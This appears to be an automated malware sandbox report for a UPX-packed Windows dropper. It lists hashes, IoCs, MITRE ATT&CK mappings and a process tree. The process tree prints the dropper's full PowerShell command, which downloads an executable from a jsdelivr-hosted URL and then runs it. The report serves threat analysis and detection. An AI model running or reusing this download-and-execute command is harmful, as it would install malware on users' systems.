d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29

General

Target

d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe
Size

18KB
MD5

a23b735545b5fd24a99fd39d5009e7f0
SHA1

710ebd9d0a8dc5b974af2cc361a95f485399afba
SHA256

d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29
SHA512

04834223d0dc29dde1a2d42def7685cad3a1ed8a1d52405f7161cb75eab3bc5f5d719a2273c35704e96acf87f378513f045279551aa46282d9b616bfdb15dbdd
SSDEEP

384:i+o1mT+ZB+yEbSsRu/4fvwsIGUygNti8QLs/LDkNa+rNTFDKB3:i/1mT+LEbTu/6osIpNtiWfCZ/+

Score

10^/10

execution upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2416	powershell.exe
7	2416	powershell.exe
9	2416	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2416	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2272-0-0x0000000000400000-0x000000000040E000-memory.dmp	upx
behavioral1/memory/2272-69-0x0000000000400000-0x000000000040E000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2376	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	31
PID 2272 wrote to memory of 2376	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	31
PID 2272 wrote to memory of 2376	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	31
PID 2376 wrote to memory of 2416	2376	cmd.exe	32
PID 2376 wrote to memory of 2416	2376	cmd.exe	32
PID 2376 wrote to memory of 2416	2376	cmd.exe	32
PID 2272 wrote to memory of 2732	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	33
PID 2272 wrote to memory of 2732	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	33
PID 2272 wrote to memory of 2732	2272	d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe	33

C:\Users\Admin\AppData\Local\Temp\d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe
"C:\Users\Admin\AppData\Local\Temp\d1019417d961765922b7c369d259c676b351005dbcc7abcc4e6521112ffedf29N.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull', 'that3.exe')
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://cdn.jsdelivr.net/gh/i87924hgasdhg/hgytiryty/bboxfull', 'that3.exe')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c that3.exe
  2⤵
  PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabAC39.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarAC4B.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2272-69-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2272-0-0x0000000000400000-0x000000000040E000-memory.dmp

Filesize
56KB

Download
memory/2416-7-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-8-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-10-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-12-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-11-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-9-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download
memory/2416-6-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2416-67-0x000007FEF59D0000-0x000007FEF636D000-memory.dmp

Filesize
9.6MB

Download
memory/2416-5-0x000007FEF5C8E000-0x000007FEF5C8F000-memory.dmp

Filesize
4KB

Download

Analysis

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